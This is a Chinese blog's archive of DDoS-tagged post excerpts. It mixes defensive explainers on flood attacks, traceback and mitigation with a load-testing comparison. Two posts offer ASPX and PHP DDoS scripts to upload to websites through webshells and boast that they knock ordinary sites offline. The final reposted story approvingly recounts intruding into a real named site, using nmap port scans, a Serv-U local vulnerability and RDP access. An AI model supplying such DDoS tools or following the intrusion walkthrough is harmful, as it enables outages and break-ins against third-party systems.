存档

文章标签 ‘DDOS’

再分享一个aspx的ddos脚本

2010年6月23日 Chinadu 没有评论

点击↑小图放大

效果没有下面那个PHP的明显。
既然群里面的朋友要,也放出来吧。
使用方法:填写IP地址 端口 线程 AddtoAttack
有朋友说看不懂,我囧,英文在稀烂,猜也猜的到这几个功能。

下载地址:
阅读全文...

分类: 资源共享 标签: , ,

分享国外一个PHP DDOS的脚本

2010年6月23日 Chinadu 2 条评论

效果还是不错的,一般的网站直接打翻。
群里面,昨日重现和肖申克的救赎一直吵着要这种webshell下的压力测试工具。
有人拿这东西卖钱,装13,我Google了一下,国外的东西,下载下来共享之。
用法:通过各种方式上传到PHP网站目录下,填写IP地址,压力测试之。

下载地址:
阅读全文...

分类: 资源共享 标签: , ,

Linux下压力测试综合对比

2010年6月13日 Chinadu 没有评论

一、http_load

http_load以并行复用的方式运行,用以测试web服务器的吞吐量与负载。但是它不同于大多数压力测试工具,它可以以一个单

一的进程运行,一般不会把客户机搞死。还可以测试HTTPS类的网站请求。
#wget http://www.acme.com/software/http_load/http_load-12mar2006.tar.gz
#tar zxvf http_load-12mar2006.tar.gz
#cd http_load-12mar2006
#make && make install
#http_load -p并发访问进程数 -f总计的访问次数 -r每秒的访问频率 -s访问时间  需要访问的url文件
#echo "http://192.168.1.101/test.php" >1.txt
#http_load -p 30 -s 60 1.txt
7751 fetches, 30 max parallel, 2.9119e+08 bytes, in 60.0024 seconds
37568 mean bytes/connection
129.178 fetches/sec, 4.85297e+06 bytes/sec
msecs/connect: 77.8017 mean, 3050.89 max, 30.308 min
msecs/first-response: 50.3716 mean, 9148.3 max, 31.205 min
HTTP response codes:code 200 -- 7751                说明打开响应页面的类型

http://www.acme.com/software这个网站上有很多小工具:http_ping、http_get、http_post

还有一个secure HTTP server:thttpd

二、webbench
阅读全文...

分类: 技术文章 标签: , ,

应对服务器被DDOS攻击的紧急措施

2009年9月23日 Chinadu 没有评论

DDoS的攻击过程也可以称为“拒绝服务”攻击,攻击者控制一群傀儡的主机将向受攻击的服务器发送大量的数据包。在这种情况下,靠近网络边缘的网络节点将会变得资源枯竭。原因有二:一是靠近服务器的节点通常在设计时只要求处理少量的用户数据; 二是由于数据在网络核心区的聚集使处于边缘的节点会接收更多的数据。此外,服务器系统本身也很容易受到攻击,在极度超载的情况下会瘫痪。

当我们遇到这种攻击时应该如何应付?
阅读全文...

分类: 技术文章 标签: ,

ddos原理

2008年6月28日 Chinadu 没有评论

关注DDOS了

DoS 是英文Denial of Service 的缩写,从字面上看一目了然了Dos无法提供服务、拒绝服务,DDoS就是分布式(Distributed)的DoS攻击。DDoS与DoS的主要区别在 于所谓的"分布式",意味着攻击者控制了一定数量的僵尸主机(zombies)所发起的攻击。
随着Internet应用以及网络带宽的高速增长, DoS/DDoS攻击发生的频度越来越高。出于商业竞争、打击报复和网络敲诈等各种目的,几乎是任何掌握一定带宽资源的人,只要从网络上下载攻击程序就可 以发起DoS/DDoS攻击。由于实施容易、追查困难,同时由于法律规范不够健全,DoS/DDoS攻击已经成为网络管理员以及运营维护人员的头号大敌。
人们最常见的是利用TCP/IP协议设计缺陷发起的攻击,其中最为著名的攻击手段例如SYN Flood攻击相信很多人已经耳熟能详了。由于几乎所有的网络应用服务都是基于TCP协议或者UDP协议,因此攻击的技术手段也可以按照TCP和UDP来描述。
下面将述目前常见的攻击方式,在描述攻击方法的时候同时分析防护及其局限性。
常见的攻击方法分析
1. SYN Flood攻击。这是最早出现,也是最有效、最常见的攻击方式。
首 先来看一下正常情况下一个TCP连接的建立过程讲:客户端向服务器发送SYN报文-->服务器回应SYN/ACK报文-->客户端回应ACK报文,至此连接才算建 立。这个过程就是所谓的"三次握手"。在服务器收到SYN报文并回应SYN/ACK报文之后,会启动一个时钟等待第3次握手的ACK报文到达,并将此连接 放入一个"半开连接"列表中。如果这个时钟超时(一般来说这个时钟是分钟的数量级),也就是说第3次握手的ACK报文无法到达服务器,那么服务器会重试发 送SYN/ACK报文给客户端(重试的次数在3~5次,各种主机操作系统不同)。
恶意的攻击者利用攻击程序模拟这种情况的发生:伪造源IP地址向 服务器发起相当数量的连接请求。由于是伪造源IP,服务器回应的SYN/ACK报文可能无法达到该IP地址对应的主机。经过短暂的时间,服务器上就将出现 大量的半开连接。如果攻击程序发包速率相对较小的话,服务器的半开连接队列将被充满而无法接受新的SYN请求,这时候的表现就是正常客户端访问服务器会被 立即中断,但此时服务器的负载并不很高。如果攻击程序发包速率很高的话,服务器上会迅速积累大量的SYN_RECV状态,系统负载很高,甚至鼠标键盘无法 响应,此时从客户端访问服务器会有长时间的等待。因此,当netstat -an发现服务器上有大量的SYN_RECV状态的时候就可以判定遭受SYN Flood攻击了。
早期攻击工具(例如synkiller、 xdos和hgod等)通常是发送64字节的TCP SYN报文,而主机操作系统在发起TCP连接请求时发送SYN 报文是大于64字节的。因此,可以在关键节点上设置策略过滤64字节的TCP SYN报文(某些宣传具有防护SYN Flood攻击的产品就是这么做的)。随着工具的改进,发出的TCP SYN报文完全模拟常见的通用操作系统,并且IP头和TCP头的字段完全随机,这时就无法在设备上根据特定的规则来过滤攻击报文。
对于部署在网络 前端的状态检测防火墙,SYN Flood攻击几乎是致命的。通常攻击者的目标只是一个服务器,可是当防火墙上开始累积大量SYN_RECV状态的Session直至防火墙 Session被完全充满时,所有到达其他未被攻击的服务器的连接请求也无法通过,最终整个网络瘫痪。
为了避免SYN Flood攻击的影响,一个想法是验证发起SYN请求的源IP地址是否真实。部署在服务器前端的防火墙接收到SYN报文的时候,主动回应SYN/ACK。 如果是正常的连接请求客户端就会回应ACK报文到达防火墙上,经过验证之后,防火墙再模拟客户端向服务器发起SYN请求,如图1所示。这种做法将3次握手 演变成了6次握手过程,这样伪造源IP的连接请求就无法到达服务器上,从而服务器不会受到任何的影响。目前,很多操作系统/防火墙已经实现了类似的算法, 例如著名的Linux SYN Cookie。
显然,SYN Cookie可以在理论上解决伪造源IP的SYN Flood攻击。但是,这个算法在实际环境中有很多问题。假设攻击流量在50Mbps,如果完全做SYN Cookie的话就意味着要回应50Mbps左右的流量。这样做首先防火墙可能不堪重负最终无法响应,其次防火墙前端的网络设备将充斥着大量无用的垃圾流 量,假设这个网络的正常流量本身在50Mbps 左右,再加上防火墙主动回应的50M流量,带宽基本充满,前端的网络设备将开始出现随机丢包,攻击者的目的也就达到了。在某些情况下,由于防火墙前端的网 络设备要转发大量的数据包,如果配置不当甚至可能由于负载很高而无法正常工作。在实际情况中,我们发现有些交换机在大流量DoS攻击的时候无法响应,或者 进入了共享模式(即将接收到的数据包往所有的交换机端口广播)。
改进的算法是有选择的进行主动回应。在这里引入了网络时代的"2/8原则",即 80%的人通常只会集中访问20%的服务器。部署在服务器前端的设备可以学习哪些客户端IP建立连接的成功率是比较高的,在攻击发生的时候尽可能优先保证 这些客户端IP能和服务器正常建立连接。这样就将攻击带来的影响降到最低点。同时,还可以辅助以其他的手段来判断是否主动回应。例如,在服务器看来一个客 户端的IP包的TTL值是比较固定的(除非路由发生了大的改变),而攻击程序很难正确计算TTL值,因此在攻击发生的当时可以通过判断TTL值来计算是否 主动回应。
SYN Flood攻击即使到今天仍然是DoS/DDoS攻击的主角,并且越来越多地与其他攻击方式混合在一起使用,使得抗拒绝服务攻击的任务更加复杂。
2. ACK Flood攻击。在TCP连接建立之后,所有的数据传输TCP报文都是带有ACK标志位的,主机在接收到一个带有ACK标志位的数据包的时候,需要检查该 数据包所表示的连接四元组是否存在,如果存在则检查该数据包所表示的状态是否合法,然后再向应用层传递该数据包。如果在检查中发现该数据包不合法,例如该 数据包所指向的目的端口在本机并未开放,则主机操作系统协议栈会回应RST包告诉对方此端口不存在。通常状态检测防火墙所做的事情与此类似,只不过防火墙 只拦截非法的数据包,而不主动回应。
对比主机以及防火墙在接收到ACK报文和SYN报文时所做动作的复杂程度,显然ACK报文带来的负载要小得 多。所以在实际环境中,只有当攻击程序每秒钟发送ACK报文的速率达到一定的程度,才能使主机和防火墙的负载有大的变化。当发包速率很大的时候,主机操作 系统将耗费大量的精力接收报文、判断状态,同时要主动回应RST报文,正常的数据包就可能无法得到及时的处理。这时候客户端(以IE为例)的表现就是访问 页面反应很慢,丢包率较高。但是状态检测的防火墙通过判断ACK报文的状态是否合法,借助其强大的硬件能力可以较为有效的过滤攻击报文。当然如果攻击流量 非常大(特别是千兆线路上,我们曾经观察到200~300Mbps左右的ACK Flood),由于需要维护很大的连接状态表同时要检查数量巨大的ACK报文的状态,防火墙也会不堪重负导致全网瘫痪。
目前ACK Flood并没有成为攻击的主流,而通常是与其他攻击方式组合在一起使用。回顾前面描述的SYN Co
okie算法,其核心思想是主动回应SYN/ACK包,然后校验第3次握手的ACK报文是否合法,目前大多数实现中校验ACK报文的合法性都涉及到较 为复杂的算法。当SYN Flood与ACK Flood一起发生的时候, 主机和防火墙将耗费大量的精力来计算ACK报文是否合法以致不堪重负。
从 以上的描述可以看到ACK Flood具有"单包攻击"的特点。但我们仍然可以从TCP/IP协议的特性以及数据传输特性中得到一定的统计规律。在现实世界中,正常数据传输的两个方 向(客户端-->服务器,服务器-->客户端)上的报文数量基本上是均衡的,同时数据报文的内容是较为随机的。因此,当数据传输两个方向上的报文数量发生倾斜的时 候,基本上可以判定发生了攻击。并且在大多数情况下,由于为了追求发包的速率,攻击报文的内容是较为固定的。因此,防护设备可以通过学习攻击报文的特征, 当某个特征在一段时间的采样内大量重复出现,那么基本上可以判定符合此特征的数据报文为攻击报文。当然,统计的方法不可避免会带来误判,因此将统计方法与 连接状态检测结合起来是比较合理的做法。
3. Connection Flood。称为连接耗尽攻击,顾名思义就是将服务器上可用的连接数占满直至无法正常响应。与前面讲述的攻击方式不同的是,连接耗尽攻击使用真实的IP地 址与服务器建立连接。攻击者操控了大量的傀儡主机或者使用代理服务器来发起大规模的连接。当连接数达到一定规模,超过了服务器的能力时,正常的连接请求将 无法建立。通过不断地与服务器建立大量的连接,最终服务器的内存资源将被耗尽。应该说,连接耗尽攻击比以上的攻击更为复杂,手段和变化更为丰富多彩。判断 连接耗尽攻击需要对netstat -an显示的连接状态进行分析,可能出现的情况有:
1) 若干个源IP与服务器建立了大量的连接;
2) 大量的连接处于TIME_WAIT, FIN_WAIT状态;
除了建立大量的连接之外,攻击程序在与服务器建立连接之后可能始终不放弃连接,并间隔地向服务器发送垃圾数据包使得连接状态始终保持,拖延服务器释放连接的时间,这种连接也可以称之为"空连接"。
显 然,如果攻击者掌握的傀儡主机数量不够的话,就需要每个傀儡主机与服务器建立相当数量的连接才能使攻击效果比较明显。防火墙就可以通过限制每个源IP的连 接数来将攻击的影响降到最低点。但是当傀儡主机数量足够多的时候,几乎是每个源IP只与服务器同时保持2到3个连接,如果限制源IP的连接数,就有可能使 得正常的服务无法正常访问。大多数的网站内容丰富多彩,打开一个页面就可能需要向服务器发起数十个连接,限制连接就有可能使得页面上的内容无法正常打开。
连 接耗尽攻击对防火墙带来的冲击也是很明显的,由于连接数量巨大,占用了大量的连接表项,防火墙的负载和内存使用率将会明显上升。如果在防火墙前面部署具有 防护连接耗尽攻击能力的设备,在傀儡主机向服务器发起连接请求的时候,防护设备是无法简单的根据SYN包来判断是否是正常连接的,从而只能让连接通过,只 有当连接建立之后才有可能判断是否恶意的连接,但此时已经对服务器和防火墙造成了一定的影响。所以防护设备在连接建立之后,如果一断时间内没有有效的数据 包从客户端到达,则可以判定此连接为"空连接",同时应当尽快地主动清除已经建立的连接,使得防火墙和服务器释放连接表项。
4.Get Flood攻击,也就是 "刷Script脚本"攻击。以上SYN Flood、ACK Flood、Connection Flood都可以说是针对TCP层的攻击,而Get Flood攻击则是针对7层应用协议发起的攻击。这种攻击主要针对使用ASP,JSP,PHP,CGI脚本程序动态生成页面的系统。通常动态页面的生成涉 及到后台数据库的操作,如果攻击程序与服务器建立连接之后,不断地发送Get请求,使得脚本程序提交查询、列表等耗费大量数据库资源的调用,数据库服务器 的负载将急剧上升使得正常的数据库操作也无法响应,这样动态页面的生成就很缓慢甚至最终操作失败。
在使用这种攻击方式的时候,攻击者通常使用匿名 的代理服务器发起请求。显然,代理服务器数量越多的话效果越明显,同时代理服务器的同步性越好的话攻击效果越显著。由于很多网站提供代理列表,因此攻击者 使用上千个甚至数千个代理服务器发起攻击并不是一件困难的事情。发送一个GET/POST请求,对客户端的CPU耗费和带宽的占用微乎其微,因此当发生攻 击的时候在防护设备和防火墙上并不能观察到包速率和流量的明显变化。
Get Flood攻击如果针对静态页面的话,则效果会大打折扣。因此,对付Get Flood攻击可以从优化页面构造上着手,尽可能避免过多地使用动态页面;在请求动态页面之前要求通过认证,这样攻击程序就无法直接发送页面请求。
虽 然表面上看Get Flood攻击所发出的页面请求与正常的访问页面没有区别,但仔细思考一下如果防护设备在收到一个页面请求的时候主动回应一个带Cookie的内容,防护 设备回应的内容到达正常客户端的时候会使得客户端作出相应的动作,而对于使用工具发起页面请求的客户端将不会有任何的响应。假设工具对回应的内容进行分 析,那么工具发送页面请求的速率将大大降低,使得攻击效果不明显。

前面讲述的主要是tcp类型的攻击,由于TCP协议具有连接状态,在 TCP类型的攻击面前或许人们可以设计一些根据连接特性的算法来较为有效对攻击进行防护。但在针对UDP服务的攻击面前,服务器显得更加脆弱,可以利用的 协议特性更少,防护的难度更高。UDP协议是无状态的,而基于UDP应用的协议五花八门,很多属于商业公司开发的私有协议,人们无法知道其协议的格式,从 而无法设计非常有效的通用防护算法。但可以分析一些常用的、公开的UDP应用协议,提出有针对性的防护算法。
首先仍然可以得到应用的统计特性,这 在讲述ACK Flood的时候曾经提到:正常数据传输的两个方向(客户端à服务器,服务器à客户端)上的报文数量基本上是均衡的,同时数据报文的内容是较为随机的。当 网络上两个方向的报文数量发生倾斜并且报文内容较为固定的时候,一定是发生了攻击行为。防护设备可以通过模式识别算法抽取出报文中的特征,并将符合此特征 的报文认为是攻击报文而丢弃。通过模式识别算法学习特征的过程比较复杂,目前并没有防火墙能够做到这一点,只有少数的专业防护设备实现了这样的算法。
但是这样的通用防护模型在防护某些特定的应用时候可能效果并不明显,同时如果攻击程序随机生成UDP包负载,则将无法学习到特征。或许针对一些特定的应用来定制防护算法是目前唯一可行的方法。
从人们最经常使用的DNS服务来分析可以做些什么事情。DNS服务器对人们正常使用Internet 有着极为重要的作用,一旦DNS服务器遭受攻击,人们使用网络将受到严重的影响。
UDP DNS Query Flood攻击采用的方法是向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络世界上根本不存在的域名,被攻击的DNS 服务器在接收到域名解析请求的时候首先会在服务

分类: 技术文章 标签:

反黑经验:深入了解 DDoS与 DDoS追踪

2007年11月19日 Chinadu 没有评论

链级测试 (Link Testing)

  多数的追踪技术都是从最接近victim的路由器开始,然后开始检查上流数据链,直到找到攻击流量发起源。理想情况下,这种过程可以递归执行直到找到攻击源头。这种技术假设攻击一直保持活动直到完成追踪,因此很难在攻击结束后、间歇性攻击或对追踪进行攻击调整等情况进行追踪。包括下面两种链级测试:

  1、Input debugging

  很多路由器都提供Input debugging特性,这能让管理员在一些出口端过滤特定的数据包,而且能决定可以达到那些入口。这种特性就被用来作traceback:首先,victim在确定被攻击时,要从所有的数据包中描述出攻击包标志。通过这些标志,管理员在上流的出口端配置合适的Input debugging。这个过滤会体现出相关的input端口,这个过滤过程可以一直朝上流进行,直到能够到达最初的源头。当然这种工作很多依靠手工,一些国外的ISP联合开发的工具能够在它们的网络中进行自动的追踪。

  但是这种办法最大的问题就是管理花费。联系多个ISP并同他们合作需要时间。因此这种办法需要大量的时间,而且几乎不可能完成。

  2、Controlled flooding

  Burch和 Cheswick提出的方法。这种方法实际上就是制造flood攻击,通过观察路由器的状态来判断攻击路径。首先应该有一张上游的路径图,当受到攻击的时候,可以从victim的上级路由器开始依照路径图对上游的路由器进行控制的flood,因为这些数据包同攻击者发起的数据包同时共享了路由器,因此增加了路由器丢包的可能性。通过这种沿路径图不断向上进行,就能够接近攻击发起的源头。

  这种想法很有独创性而且也很实际,但是有几个缺点和限制。最大的缺点就是这种办法本身就是一种DOS攻击,会对一些信任路径也进行DOS,这个缺点也很难用程序实施。而且,Controlled flooding要求有一个几乎覆盖整个网络的拓扑图。Burch和 Cheswick也指出,这种办法很难用于DDOS攻击的追踪。这种方法也只能对正在进行攻击的情况有效。

  现在CISCO的路由器的CEF(Cisco Express Forwarding)实际上就是一种链级测试,也就是说,要用CEF追踪到最终源头的话,那么整个链路上的路由器都得使用CISCO的路由器,而且支持CEF。就得要Cisco 12000或者7500系列的路由器了。(不知道现在怎么样,没查最新的CISCO文档),但是要用这个功能是很费资源的。

  在CISCO路由器(支持ip source-track的路由器)上IP源追踪以下面的步骤实现:

  1、当发现目的被攻击,打开整个路由器上对目的地址的追踪,输入命令 ip source-track。

  2、每个Line Card为要追踪的目的地址创建特定的CEF队列。对于line card或者端口适配器用特定的ASIC作包转换,CEF队列用于将包置入line card或者port adapter的CPU。

  3、每个line card CPU收集关于要追踪目的的通讯信息。

  4、所产生的数据定时导出到路由器。要现实这些流信息的摘要,输入命令:show ip source-track summary。要显示每个输入接口的更多的细节信息,输入命令show ip source-track。

  5、统计被追踪的IP地址的细目表。这可用于上游路由器继续分析。可以在当前路由器上关闭IP source tracker,输入命令:no ip source-track。然后在上游路由器上再打开这个功能。

  6、重复步骤1到5,直到找到攻击源。

  Logging

  这种方法通过在主路由器上记录数据包,然后通过数据采集技术来决定这些数据包的穿越路径。虽然这种办法可以用于对攻击后的数据进行追踪,它也有很明显的缺点,比如可能要求大量的资源(或者取样),并且对付大量数据的综合问题。

ICMP追踪
  这种方法主要依靠路由器自身产生的ICMP跟踪消息。每个路由器都有很低的概率(比如:1/200000),数据包可能会把内容复制到一个ICMP消息包中,并且包含了到临近源地址的路由器信息。当flood攻击开始的时候,victim就可以利用这些ICMP消息来重新构造攻击者的路径。这种方式同上面介绍的比较,有很多优点,但是也有一些缺点。比如:ICMP可能被从普通流量中过滤掉,并且,ICMP追踪消息还要同input debugging特性(将数据包同数据包input端口和/或者要到达的MAC地址关联的能力)相关,但是,可能一些路由器就没有这样的功能。同时,这种办法还必须有一种办法来处理攻击者可能发送的伪造ICMP Traceback消息。也就是说,我们可以把这种方式同其他办法一起使用来让跟踪机制更有效。(IETF iTrace)

  这就是yawl说的IETF的工作组研究的内容,当时我给Bellovin提出一些意见,但是没有得到答案。比如:

  1、尽管是随机1/20000发送追踪包,但是,对于伪造TRACEBACK的包情况下,对路由器的效率将有一定的影响。

  2、追踪包的认证并不能解决伪造问题。因为要判别是否是伪造包,那么必须去认证,加大了工作量。

  3、即便使用NULL 认证,同样能够达到目的(有认证的情况下)。而且也不会有太大影响。

  4、Itrace的本来目的是去对付DOS的欺骗源问题,但是现在的设计仿佛让我们更关心的是路径而不是源头。难道路径比源头更对我们解决DOS问题有用么?

  等等,还有一堆问题,都是我觉得iTrace将会面临的很难处理的问题。

  数据包标记

  这种技术构想(因为现在没有实用)就是要在现有协议的基础上进行修改,而且修改很小,不象iTrace的想法,个人认为比iTrace更好一些。

  这种追踪技术有很多细节研究,形成多种标记算法,但是最好的还是经过压缩的边缘取样算法。

  这种技术原理就是修改IP头中,重载其中的identification域。也就是如果没有使用到identification域的话,将这个域定义为标记。

  将16bit的idnetification分成:3bit的offset(可允许8次分片),5bit的distance,以及8bit的边缘分片。5bit的distance可以允许31级路由,这对于目前的网络来说已经足够了。

  标记和重构路径的算法是:

Marking procedure at router R: let R' = BitIntereave(R, Hash(R)) let k be the number of  
none-overlappling fragments in R' for  

each packet w let x be a random number from [0..1) if xlet o be a random integer from  
[0..k-1] let f be the fragment of R' at  

offset o write f into w.frag write 0 into w.distance wirte o into w.offset else if  
w.distance=0 then let f be the fragment of  

R' at offset w.offset write f?w.frag into w.frag increment w.distance Path reconstruction  
procedure at victim v: let FragTbl  

be a table of tuples(frag,offset,distance) let G be a tree with root v let edges in G be  
tuples(s
tart,end,distance) let  

maxd:=0 let last:=v for each packet w from attacker FragTbl.Insert 
(w.frag,w.offset,w.distance) if w.distance>maxd then  

maxd:=w.distance for d:=0 to maxd for all ordered combinations of fragments at distance d  
construct edge z if d!=0 then z:=  

z?last if Hash(EvenBits(z))=OddBits(z) then insert edge(z,EvenBits(z),d) into G  
last:=EvenBits(z); remove any edge(x,y,d)  

with d!=distance from x to v in G extract path(Ri..Rj) by enumerating acyclic paths in G

实验室情况下这种标记技术只需要victim能够抓到1000到2500个包就能够重构整个路径了,应该说结果是很好的,但是没有投入到实用中,主要是需要路由器厂商和ISP支持。

  差不多ip traceback的已经实用的技术和实验室技术,或者已经死掉的,就主要是这些,虽然还有其他的一些。

  已经很长时间没有搞DDOS防范这一块了,国内也有黑洞这样的产品,以前也了解一些国外的,比如floodguard、toplayer、radware等。受securitytest提示,又了解到riverhead的,我就立刻看了看他们的白皮书。

  因为前面bigfoot提出的主要是ip traceback的题目,securitytest也又到防御的问题。针对DDOS的问题ip traceback和Mitigation是不一样的,ip traceback主要是进行追踪,因为DDOS主要是spoof,而很难判别到真正的攻击源,而且如果能够很容易找到真正的攻击源,不仅仅对付DDOS,对付其他的攻击也很有帮助,比如法律问题等。而Mitigation是从受害者的角度,因为victim一般是没有能力去调查整个网络,找出source,而且,即便能够找到source,也得有法律或者一些沟通的手段来让source停下来(攻击的source并不是source的攻击者),这种意味着大量的沟通、跨ISP、跨过等类似的非技术问题,所以,通常很难处理。但是从victim的角度来说,必须得有所解决办法,所以就需要Mitigation。

这又正好是我以前研究的范围,所以,又会说出一大堆。对于Mitigation,其实,技术的根本就是要能从众多的流量中将攻击包和合法包分离出来,把攻击包抛弃掉,让合法包通过就性了。这就是根本,所以实际运用的技术就是要如何尽可能识别出攻击包,而又尽可能小地影响正常包。这又得来分析DDOS(甚至DOS)的方式和原理。基本又下面几种形式:
  1、系统漏洞形成的DOS。这种特征固定,检测和防御也容易。

  2、协议攻击(一些跟系统处理相关,一些跟协议相关)。比如SYN FLOOD,碎片等。特征还好识别,检测和防御相对容易。比如SYN COOKIE、SYN CACHE,碎片可以抛弃。比如land攻击、smurf、teardrop等。

  3、bandwidth FLOOD。垃圾流量堵塞带宽,特征不好识别,防御不容易。

  4、基本合法的FLOOD。比3更难了,比如分布的Slashdot。

  实际的DDOS,一般都是多种方式结合的。比如SYNFLOOD,可能同时是bandwidth FLOOD。

  影响防御的主要因素就是看特征是否能得到,比如1、2就相对好解决,一些基本不影响的使用的FLOOD,则可以很好被抛弃,比如ICMP FLOOD。

  但是,攻击发包工具如果将数据包更能伪装成合法包,那么就很难识别出来了。

  一般的Mitigation方法也就是:

  1、Filter。对于特征明显的,比如一些蠕虫等,在路由器上就可以搞定。当然,过滤是最终解决办法,只要识别出了攻击包,就是要把这些包过滤掉。

  2、随机丢包。跟随机算法相关,好的算法可以让合法包受到更小影响。

  3、SYN COOKIE、SYN CACHE等特定防御办法。针对一些固定的攻击手段来防御和过滤。比如ICMP FLOOD、UDP FLOOD。SYN COOKIE等都是避免spoof问题,至少TCP还有三次握手,所以还好判断SPOOF。

  4、被动消极忽略。可以说也是一种确认是否被欺骗的办法。一般正常连接失败会重新尝试,但是攻击者一般不会尝试的。所以可以临时抛弃第一次连接请求而接受第二次或者第三次连接请求。

  5、主动发送RST。对付SYN FLOOD的,比如一些IDS上。当然,实际不是有效的。

  6、统计分析和指纹。这本来是研究的主要内容,但是最后陷入了算法牛角尖,因为主要是一个算法问题。通过统计分析的角度来得到指纹,然后根据指纹来抛弃攻击包,也是一种异常检测的技术。说得很简单,但是要不影响合法包也不容易,不至于变成了随机丢包。(其实当时考虑太过复杂,非得要详细分析出攻击包和合法包,实际不需要,只要过滤掉足够的攻击包,即便让攻击包通过,但只要不造成DOS就可以了。)这也是很多研究者研究的主要课题,目的也就是识别攻击包。

  现在在回到securitytest提到的riverhead。关于riverhead的技术,我都只是从他们的白皮书上了解到的,但根据我的分析技术方法都没有超出上面提到的范围。

  Riverhead的核心方案就是检测 Detection、转移 Diversion 和 缓解 Mitigation,也就是检测到攻击,然后将流量转移到他们的产品guard上,然后通过guard进行Mitigation。

  它的实现步骤,就是:

  因为没有图,所以先定义一下,才能说清楚:

#靠近分布式拒绝服务源头的路由器为 远端路由器 
#靠近受害者的路由器为 近端路由器 
#Riverhead的Guard设备附属安装的路由器为 附属路由器

防御的步骤

  1、首先检测到有DDOS发生,并了解到victim。

  2、Guard发送BGP通告到远端路由器(在victim的BGP通告设置前缀,并得到比原始BGP通告更高的优先权),表示从远端路由器到victim有新的路由,并且路由到Guard的loopback interface,所有到victim的都经过附属路由器转移到了Guard上。

  3、Guard检查流量,并且清除其中的攻击流量,然后把安全的流量转发到附属路由器上,在回到victim其中核心就是Guard,技术就是白皮书中描述的MVP架构(Multi-Verification Process),也就是下面5个层次过滤(Filtering) :这个模块包含静态和动态的DDOS过滤。静态过滤,拦截non-esse ntial流量,可以是用户定义的,或者是riverhead默认提供的。动态过滤则基于行为分析和流量的细节分析,通过增加对可疑流量的确认或拦截已经确认的恶意流量,来进行实时更新反欺骗(Anti-Spoofing):这个模块验证进入系统的数据包是否被欺骗的。Guard使用了独有的、有专利的源验证机制来避免欺骗。也通过一些机制来确认合法流量,消除合法数据包被抛弃异常检测(Anomaly Recognition):该模块监视所有没有被过滤和反欺骗模块抛弃的流量,将流量同平常纪录的基线行为进行比较,发现异常。基本原理就是通过模式匹配,区别来自black-hat和合法通讯之间的不同。该原理用来识别攻击源和类型,而且提出拦截这类流量的指南。

  异常检测包括: 攻击流量速率大小 包大小和端口的分布 包到达时间的分布 并发流量数 高级协议特征 出、入的速率 流量分类: 源IP 源端口 目的端
口 协议类型 连接量(每天、每周) 协议分析(Protocol Analysis):本模块处理异常检测中发现的可疑的应用方面的攻击,比如http攻击。协议分析也检测一些协议错误行为。

  流量限制(Rate Limiting):主要是处理那些消耗太多资源的源头流量。

  所以,实际上最主要的内容就是异常检测中的统计分析,但是从上面看似乎没有多少特别的地方,但是,一定有很好的算法。比如FILTER,实际是对付一些很熟悉的有明显特征的攻击,反欺骗,就是对付syn flood这样的,说不定也是一个syn cookie模块,,但也许有更专利的技术。

  协议分析其实应该来说就比较弱了,但可以针对一些常见协议中的特定攻击,检测识别一些协议错误行为只是协议校验,这个很简单。流量限制则就是一种随机丢包,最无奈的办法,所以也是最后一个层次了。

  因为这个产品主要是作Mitigation的,而不是ip traceback。但是可以判定还是有重要的问题,比如:

  1、如何对付真正的bandwidth flood。如果路由器是千兆的,但是,攻击流量已经占了90%,只流下10%让合法使用,路由器已经先与Guard开始进行随机丢包了。(没办法,这是所有防御技术的瓶颈)

  2、真正的攻击。真正的攻击是很难或者无法识别的。比如,基本跟正常形式一样的,如果和统计数据很接近,那么很难区别出来。还有一些攻击,比如反射式的邮件攻击等,这是完全合法的,但是很难分类出来。

分类: 技术文章 标签: ,

10月28号安全焦点DDOS事件背后内幕串串烧

2006年11月11日 Chinadu 没有评论

本文转载自安全焦点

10月28号安全焦点DDOS事件背后内幕串串烧~~

主题:讲述安焦被DDOS背后的故事及部分安全知识!同时奉送ASP.NET备份db日志获得webshell小知识,小小伎俩,牛人莫笑话俺了。

本贴纯属娱乐大众!慰安下各位fans在安焦被D 9天以来无法灌水的损失。

大家好,我是克劳德,俺来向安焦水区的各位fans道歉来了,10月28号Xfocus遭遇ddos攻击,被迫关闭9天,俺是引起这件事幕后的四只黑手中的两只。另外两只黑手是13Bean同志啦。

下面开始讲故事啦:

话说朽木同学借入侵腾讯公司网络事件一举成名后,更借机到安全一套露了一 小脸,惊起网上呼声一片,一时间,朽木同学好不得意。

正如朽木同学自己所说,他出了名,所以n多人就眼红他的名气了,俺不敢苟同,我对朽木同学地那点名气还瞧不上~说个不好听的话,上了安全一套后,记者提问,如何入侵的腾讯公司网络?朽木同学答阅:我发现了他们服务器的漏洞! 绝口不提是风吹过pp好冷同学种马在前,他收获在后了?? 我一直关注这个事情,一直希望了解下朽木同学入侵的第一步是如何做的,可惜小伙子实在太清高了,俺加他qq后,其一句话:你和我的律师去谈。靠~~~其后发生的事,大家都看到一些啦,不管大家爽不爽,反正我不爽啦,蛋总的cbdzg不是说朽木同学协助修补了网站漏洞么? Ok 那我就拿cbdzg开刀,想想,一个人黑cbdzg 好是无聊,正好,13Bean同志,这位社会主义的弃儿,一直在家待业,等待祖国母亲的召唤,俺就拉了13Bean上了贼船。

克劳德:13Bean,我们黑掉cbdzg,好不好撒?
13Bean:好啊,黑了selang更好,挂个黑页你就出名了撒。
克劳德:看了xx人不是很爽,要丢丢他的脸而已。
13Bean:好,我和你一起搞。

就这样,2个闲极无聊的混混走道一起了,从此江湖上一片血雨缤纷。。。

Ok,有人做伴,黑站也不孤单了!白天忙完工作,晚上回家粗略的看了下,www.cbdzg.com是一台外部托管服务器,机房ip地址在厦门???启动linux虚拟机,操起nmap扫描下端口先。
Nmap –sS –vv –P0 www.cbdzg.com
一杯茶功夫,结果出来了:
开放80,520端口

520??? 觉得纳闷了,telnet 上去,服务器回显serv-u 6.0.x,噢!果然是520哟!!!!serv-u 众所周知,有本地连接管理端口漏洞,呵呵!我也爱你!

奇怪,就80和520,那么远程管理怎么办???难道管理员常驻机房管理??机房的空调和风扇可是很恐怖的噢!
再来扫描瞧瞧:
Nmap –sS –vv –P0 www.cbdzg.com –p 1-65535

-p 1-65535 指定扫描1-65535号端口,默认情况下nmap只会扫描其自带的一份常见端口列表中的端口,大约一千多个端口吧,所以这份端口列表清单以外的端口 nmap是不会去扫描的。

Ok,过了会功夫,再看看结果,已经出来了,这次多了个32915的开放端口,呵呵,32915这个数字好像很眼熟,后来发觉32915是朽木同学的qq号来也,ok,无须质疑,直接运行mstsc,连接www.cbdzg.com:32915

